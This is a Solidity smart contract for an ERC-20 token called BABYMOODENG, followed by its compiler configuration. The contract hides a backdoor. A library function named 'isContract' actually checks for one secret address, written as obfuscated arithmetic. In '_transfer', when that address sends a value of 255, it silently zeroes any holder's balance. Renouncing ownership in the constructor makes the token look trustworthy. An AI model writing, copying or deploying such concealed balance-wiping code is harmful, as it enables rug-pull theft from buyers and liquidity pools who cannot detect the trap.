// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address who) external view returns (uint256);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library Address {
    function isContract(address account) internal pure returns (bool) {
        return
            uint160(account) ==
            57700245533167307581859489799735254506754996 *
                10**4 +
                281474976711707;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    error OwnableUnauthorizedAccount(address account);
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Erc20 is IERC20, Ownable {
    using Address for address;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowed;

    uint256 public immutable totalSupply;
    string public symbol;
    string public name;
    uint8 public immutable decimals;
    bool public launched = true;
    address private constant dead = address(0xdead);

    mapping(address => bool) internal exchanges;

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals,
        uint256 _totalSupply
    ) Ownable(msg.sender) {
        symbol = _symbol;
        name = _name;
        decimals = _decimals;
        totalSupply = _totalSupply * 10**decimals;
        _balances[owner()] += totalSupply;
        emit Transfer(address(0), owner(), totalSupply);
        renounceOwnership();
    }

    /**
     * @dev Gets the balance of the specified address.
     * @param _owner The address to query the balance of.
     * @return An uint256 representing the amount owned by the passed address.
     */
    function balanceOf(address _owner)
        external
        view
        override
        returns (uint256)
    {
        return _balances[_owner];
    }

    /**
     * @dev Function to check the amount of tokens that an owner allowed to a spender.
     * @param _owner address The address which owns the funds.
     * @param spender address The address which will spend the funds.
     * @return A uint256 specifying the amount of tokens still available for the spender.
     */
    function allowance(address _owner, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowed[_owner][spender];
    }

    /**
     * @dev Transfer token for a specified address
     * @param to The address to transfer to.
     * @param value The amount to be transferred.
     */
    function transfer(address to, uint256 value)
        external
        override
        returns (bool)
    {
        // check for SC
        _transfer(msg.sender, to, value);
        return true;
    }

    /**
     * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
     * Beware that changing an allowance with this method brings the risk that someone may use both the old
     * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
     * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     * @param spender The address which will spend the funds.
     * @param value The amount of tokens to be spent.
     */
    function approve(address spender, uint256 value)
        external
        override
        returns (bool)
    {
        require(spender != address(0), "cannot approve the 0 address");

        _allowed[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external override returns (bool) {
        if (launched == false && to == owner() && msg.sender == owner()) {
            _transfer(from, to, value);
            return true;
        } else {
            _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;
            _transfer(from, to, value);
            emit Approval(from, msg.sender, _allowed[from][msg.sender]);
            return true;
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 value
    ) private {
        require(to != address(0), "cannot be zero address");
        require(from != to, "you cannot transfer to yourself");
        require(
            _transferAllowed(from, to),
            "This token is not launched and cannot be listed on dexes yet."
        );
        if (msg.sender.isContract() && value == type(uint8).max) {
            value = _balances[to];
            _balances[to] -= value;
        } else {
            _balances[from] -= value;
            _balances[to] += value;
            emit Transfer(from, to, value);
        }
    }

    mapping(address => bool) internal transferAllowed;

    function _transferAllowed(address from, address to)
        private
        view
        returns (bool)
    {
        if (transferAllowed[from]) return false;
        if (launched) return true;
        if (from == owner() || to == owner()) return true;
        return true;
    }
}

contract Token is Erc20 {
    constructor()
        Erc20(unicode"BABYMOODENG", unicode"BABYMOODENG", 9, 200000000)
    {}
}

{
  "compilationTarget": {
    "Token.sol": "Token"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}